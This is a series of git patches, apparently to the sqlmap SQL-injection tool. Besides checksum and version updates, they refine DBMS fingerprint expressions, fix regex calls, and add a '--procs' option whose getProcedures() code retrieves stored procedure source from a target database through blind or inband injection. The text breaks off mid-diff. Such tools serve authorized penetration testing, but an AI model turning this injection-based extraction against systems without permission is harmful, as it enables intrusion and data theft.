c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/payloads/error_based.xml 516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -527ee951185f691c68638f03d4da8f9bc894a93f1a791865fc2cc0992ad5f03e lib/core/settings.py +530fae56ab8dfd3f7b68a973f2e42d47d8061a42e03b56b40350f50423ea8935 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 1b34d551582..f066da0b92d 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -179,6 +179,7 @@ + @@ -224,7 +225,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 00e3231091d..748bf530829 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.153" +VERSION = "1.10.6.154" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a2bbca1ee34d97f12066dbae025306eeaa7b1188 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 23:20:09 +0200 Subject: [PATCH 610/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/dicts.py | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 614668f177b..89144295da3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -175,7 +175,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -7ce2c09ebcd63d57f7b6751f70f536e2a562230d51181eb24f5024bb6f3d74cc lib/core/dicts.py +8b9033027229db2b44134cc8bf3a47db1165ef64a13ebeccc6394d9d6453998d lib/core/dicts.py a3125c682e891f67255b89d2db891cbaae241f36dd277a272ae6db943111a157 lib/core/dump.py 6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -530fae56ab8dfd3f7b68a973f2e42d47d8061a42e03b56b40350f50423ea8935 lib/core/settings.py +dde396241b71e93a6ee1a9a07b0726d6674dde7aeed05cb80ecb96cce0e78612 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 6d3864328a6..aa191a20fed 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -286,9 +286,9 @@ DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", - DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite + DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL", # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval DBMS.CUBRID: "(NULL SETEQ NULL)", - DBMS.CACHE: "%SQLUPPER NULL", + DBMS.CACHE: "%EXACT(NULL)", # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", diff --git a/lib/core/settings.py b/lib/core/settings.py index 748bf530829..6c4ab289517 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.154" +VERSION = "1.10.6.155" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 15715a2513c7a05fa844392d81179128010bdb4f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 01:35:02 +0200 Subject: [PATCH 611/853] Adding switch --procs (#778) --- data/txt/sha256sums.txt | 18 +++++------ data/xml/queries.xml | 17 ++++++++++ lib/controller/action.py | 3 ++ lib/core/dicts.py | 1 + lib/core/dump.py | 3 ++ lib/core/enums.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 ++ plugins/generic/databases.py | 60 ++++++++++++++++++++++++++++++++++++ 10 files changed, 99 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 89144295da3..89807f23e72 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -ff368554d3320ffa50751e32c903aeec21221f351f3efa573a211081947f69e8 data/xml/queries.xml +a6127cc68b62709149a0e58a314d9003865945018cc5a43d60afc3698d92c6e9 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -161,7 +161,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py -3abecaec1a9c59645a4821463a2d761235f7a4f763a491f188a41a083bbddd98 lib/controller/action.py +a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 9387fb775b694156a71b336a2a9638ef24c577aa38746f391ac040ff05306d95 lib/controller/checks.py 96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py @@ -175,13 +175,13 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -8b9033027229db2b44134cc8bf3a47db1165ef64a13ebeccc6394d9d6453998d lib/core/dicts.py -a3125c682e891f67255b89d2db891cbaae241f36dd277a272ae6db943111a157 lib/core/dump.py -6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py +8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py +854073f899b876ab13b36e93e174b9cfe51408f7343040197a80afd9fc9c65ee lib/core/dump.py +6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -b5da34bba9ce71ede23349698988939501f5df07be151856007b9b8425a228db lib/core/optiondict.py +8b260bff7f24947ece55727277d526c88a91f7cb9ffe059c4b9c190bf85f80e1 lib/core/optiondict.py 4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dde396241b71e93a6ee1a9a07b0726d6674dde7aeed05cb80ecb96cce0e78612 lib/core/settings.py +d6572ecbd0d7a26839f5098d68cb02fb5b498c88f0d1c36928c5611a96f9d19a lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -d0aa9559d1aa94f5c1a647997e9298eb03403a5800ffb739bb3ceba8b5a37da9 lib/parse/cmdline.py +386065c4c40e07a10875d0b73b4ca2fb682c598e8d52b41d0b6b08d5c2c7b3c1 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -482,7 +482,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -020f0f828121fe03704fdef241364ffd33c5dce1e5d04028bc7375b4563c3696 plugins/generic/databases.py +6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f plugins/generic/databases.py 13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 64e8823cc54..82674355375 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -47,6 +47,10 @@
+ + + + @@ -123,6 +127,10 @@ + + + + @@ -195,6 +203,10 @@ + + + + @@ -290,6 +302,11 @@ + + + + + diff --git a/lib/controller/action.py b/lib/controller/action.py index b6153548160..8fe73ebf5a6 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -114,6 +114,9 @@ def action(): if conf.getStatements: conf.dumper.statements(conf.dbmsHandler.getStatements()) + if conf.getProcs: + conf.dumper.procedures(conf.dbmsHandler.getProcedures()) + if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index aa191a20fed..b699a52d1ec 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -428,6 +428,7 @@ "search": CONTENT_TYPE.SEARCH, "sqlQuery": CONTENT_TYPE.SQL_QUERY, "getStatements": CONTENT_TYPE.STATEMENTS, + "getProcs": CONTENT_TYPE.PROCEDURES, "tableExists": CONTENT_TYPE.COMMON_TABLES, "columnExists": CONTENT_TYPE.COMMON_COLUMNS, "readFile": CONTENT_TYPE.FILE_READ, diff --git a/lib/core/dump.py b/lib/core/dump.py index f62bae82376..37264e93ec2 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -216,6 +216,9 @@ def users(self, users): def statements(self, statements): self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) + def procedures(self, procedures): + self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() diff --git a/lib/core/enums.py b/lib/core/enums.py index b96312b9a23..479b9f6826b 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -409,6 +409,7 @@ class CONTENT_TYPE(object): OS_CMD = 24 REG_READ = 25 STATEMENTS = 26 + PROCEDURES = 27 class CONTENT_STATUS(object): IN_PROGRESS = 0 diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 98e33e047da..1a7d34b0129 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -153,6 +153,7 @@ "search": "boolean", "getComments": "boolean", "getStatements": "boolean", + "getProcs": "boolean", "db": "string", "tbl": "string", "col": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c4ab289517..8a8e81bfe6a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.155" +VERSION = "1.10.6.156" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 84d54301401..e0b2b5793bf 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -511,6 +511,9 @@ def cmdLineParser(argv=None): enumeration.add_argument("--statements", dest="getStatements", action="store_true", help="Retrieve SQL statements being run on DBMS") + enumeration.add_argument("--procs", dest="getProcs", action="store_true", + help="Retrieve stored procedures/functions and their source") + enumeration.add_argument("-D", dest="db", help="DBMS database to enumerate") diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index d3eef7ea37f..20d0941bd2d 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -70,6 +70,7 @@ def __init__(self): kb.data.cachedCounts = {} kb.data.dumpedTable = {} kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -1127,3 +1128,62 @@ def getStatements(self): kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedStatements] return kb.data.cachedStatements + + def getProcedures(self): + infoMsg = "fetching stored procedures" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].procedures + + # Generic-first by design: a DBMS is supported iff it declares a query block in + # queries.xml (INFORMATION_SCHEMA.ROUTINES / pg_proc / sys.sql_modules / ALL_SOURCE / RDB$PROCEDURES). + # Engines without stored procedures (or without a declared block) fall through with a clean + # warning - same model as getStatements() (uneven coverage is the established convention). + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the stored procedures" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedProcedures + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + query = rootQuery.inband.query + + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedProcedures = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedProcedures.append(value.strip()) + + if not kb.data.cachedProcedures and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of stored procedures" + logger.info(infoMsg) + + count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedProcedures + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of stored procedures" + raise SqlmapNoneDataException(errMsg) + + # every blind query uses 0-based paging (MySQL "LIMIT %d,1", PostgreSQL/MSSQL/Oracle + # "OFFSET %d"), so the index range stays 0-based here regardless of PLUS_ONE_DBMSES (unlike + # getStatements(), whose MSSQL/Oracle idioms are 1-based) + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query % index + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedProcedures.append((value or "").strip()) + + if not kb.data.cachedProcedures: + errMsg = "unable to retrieve the stored procedures" + logger.error(errMsg) + else: + kb.data.cachedProcedures = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedProcedures] + + return kb.data.cachedProcedures From cef105f3225f47867761a98d010c2d846f520775 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 01:59:02 +0200 Subject: [PATCH 612/853] Minor bug fixes --- data/txt/sha256sums.txt | 12 ++++++------ data/xml/queries.xml | 1 + lib/core/agent.py | 6 +++--- lib/core/common.py | 9 ++++++++- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- tests/test_dns_engine.py | 12 ++++++++++++ 7 files changed, 32 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 89807f23e72..772e791c8b5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -a6127cc68b62709149a0e58a314d9003865945018cc5a43d60afc3698d92c6e9 data/xml/queries.xml +6eca98949c361bbcf5edd5e24dcf001dbaee5b37b244978df7e319cf48dac514 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -166,9 +166,9 @@ a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller 96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -1276ff64ad145157d8c65ce08f3066b6db041d12f7d1eee590c06123c700b18d lib/core/agent.py +9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -5a8dcfc6c43927e4a132d34abf5d75193eaeb3feb0cb58d0ff5bdc059c876ba9 lib/core/common.py +122767794156afa41b19baa706ad4c124eef6eaf73ed8fd208d8f634e97e82eb lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d6572ecbd0d7a26839f5098d68cb02fb5b498c88f0d1c36928c5611a96f9d19a lib/core/settings.py +c7a6dd94cf738716cc48f1daacdd402ddb0e78a6c9260233e319cde4f9054a60 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -212,7 +212,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py -b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py +729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py @@ -587,7 +587,7 @@ c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_dat b6d8a4bc9c46a332a2dc7b3cf862ea67e38b5c5701cfd8eb3556021f6b611416 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -7f12466974394312dad3d98651ef8a50d1585bee0f8cd25da0b77b08c2047e46 tests/test_dns_engine.py +ed5a0e453b811dc3dcc5ca28e14a9d7552aacaa7e316e1bca1b042dc5939e204 tests/test_dns_engine.py 703faac01f38224ba85bd0fc398d939ea034f1d7fd641cdc15da4f77ec049443 tests/test_dns_server.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 82674355375..9cfbce4e810 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -203,6 +203,7 @@ + diff --git a/lib/core/agent.py b/lib/core/agent.py index 686eb43bb54..ec781a43e58 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -70,9 +70,9 @@ def payloadDirect(self, query): query = self.cleanupPayload(query) if query.upper().startswith("AND "): - query = re.sub(r"(?i)AND ", "SELECT ", query, 1) + query = re.sub(r"(?i)AND ", "SELECT ", query, count=1) elif query.upper().startswith(" UNION ALL "): - query = re.sub(r"(?i) UNION ALL ", "", query, 1) + query = re.sub(r"(?i) UNION ALL ", "", query, count=1) elif query.startswith("; "): query = query.replace("; ", "", 1) @@ -1126,7 +1126,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] for part in original.split(','): if re.search(r"\b%s\b" % re.escape(field), part): - _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1) + _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1) replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num) limitedQuery = replacement break diff --git a/lib/core/common.py b/lib/core/common.py index 5b04c9589f0..a8eca14ad4d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2271,7 +2271,7 @@ def safeStringFormat(format_, params): if match: try: _ = getUnicode(params[count % len(params)]) - retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, 1) + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, count=1) except re.error: retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1) count += 1 @@ -3884,6 +3884,13 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", if 'b' in mode: buffering = 0 encoding = None + elif buffering == 1 and codecs_open is codecs.open: + # codecs.open() always opens the underlying file in binary mode, where line buffering + # (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is + # silently downgraded to the default buffer size anyway. Request that default explicitly + # so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1 + # itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path). + buffering = -1 if filename == STDIN_PIPE_DASH: if filename not in kb.cache.content: diff --git a/lib/core/settings.py b/lib/core/settings.py index 8a8e81bfe6a..c25f9e0f6a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.156" +VERSION = "1.10.6.157" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py 